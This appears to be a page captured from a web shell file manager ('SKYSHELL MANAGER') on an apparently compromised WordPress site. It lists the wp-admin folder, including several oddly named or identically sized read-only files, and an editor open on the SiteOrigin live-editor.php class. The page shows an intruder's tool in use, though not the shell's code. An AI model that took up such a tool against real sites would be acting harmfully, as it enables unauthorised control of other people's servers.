📁
SKYSHELL MANAGER
PHP v8.1.29
Create
Create
Path:
root
/
var
/
www
/
html
/
wxwpsite
/
fungiftdeals
/
wp-admin
/
Name
Size
Perm
Actions
📁
css
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
includes
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
maint
-
0755
🗑️
🏷️
🔒
📁
network
-
0755
🗑️
🏷️
🔒
📁
user
-
0755
🗑️
🏷️
🔒
📄
about.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-footer.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
12.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
5.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
authorize-application.php
10.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
comment.php
11.37 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
custom-header.php
0.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
customize.php
11.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-blocks.php
14.73 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
19.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
export-personal-data.php
7.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
font-library.php
1.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
home.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
7.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media-upload.php
3.58 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
menu-header.php
9.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
network.php
5.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
press-this.php
2.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
privacy.php
2.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
setup-config.php
17.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
themes.phpwp-update.php
114.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
update.php
12.76 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
user-edit.php
40.35 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets-form-blocks.php
5.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: live-editor.php
<?php /** * The live editor class. Only loaded when in live editor mode. * * Class SiteOrigin_Panels_Live_Editor */ class SiteOrigin_Panels_Live_Editor { function __construct() { add_action( 'template_redirect', array( $this, 'xss_headers' ) ); add_action( 'get_post_metadata', array( $this, 'post_metadata' ), 10, 3 ); add_action( 'wp_enqueue_scripts', array( $this, 'frontend_scripts' ) ); // Don't display the admin bar when in live editor mode add_filter( 'show_admin_bar', '__return_false' ); // Don't use the cached version add_filter( 'siteorigin_panels_use_cached', '__return_false' ); } public static function single() { static $single; return empty( $single ) ? $single = new self() : $single; } public function xss_headers(){ global $post; if( ! empty( $_POST['live_editor_panels_data'] ) && ! empty( $post->ID ) && current_user_can( 'edit_post', $post->ID ) ) { // Disable XSS protection when in the Live Editor header( 'X-XSS-Protection: 0' ); } } /** * Edit the page builder data when we're viewing the live editor version * * @param $value * @param $post_id * @param $meta_key * * @return array */ function post_metadata( $value, $post_id, $meta_key ) { if ( $meta_key == 'panels_data' && current_user_can( 'edit_post', $post_id ) && ! empty( $_POST['live_editor_panels_data'] ) && $_POST['live_editor_post_ID'] == $post_id ) { $data = json_decode( wp_unslash( $_POST['live_editor_panels_data'] ), true ); if ( ! empty( $data['widgets'] ) && ( ! class_exists( 'SiteOrigin_Widget_Field_Class_Loader' ) || method_exists( 'SiteOrigin_Widget_Field_Class_Loader', 'extend' ) ) ) { $data['widgets'] = SiteOrigin_Panels_Admin::single()->process_raw_widgets( $data['widgets'], false, false ); } $value = array( $data ); } return $value; } /** * Load the frontend scripts for the live editor */ function frontend_scripts() { wp_enqueue_script( 'live-editor-front', siteorigin_panels_url( 'js/live-editor/live-editor-front' . SITEORIGIN_PANELS_JS_SUFFIX . '.js' ), array( 'jquery' ), SITEORIGIN_PANELS_VERSION ); wp_enqueue_script( 'live-editor-scrollto', siteorigin_panels_url( 'js/live-editor/jquery.scrollTo' . SITEORIGIN_PANELS_JS_SUFFIX . '.js' ), array( 'jquery' ), SITEORIGIN_PANELS_VERSION ); wp_enqueue_style( 'live-editor-front', siteorigin_panels_url( 'css/live-editor-front.css' ), array(), SITEORIGIN_PANELS_VERSION ); } }
Save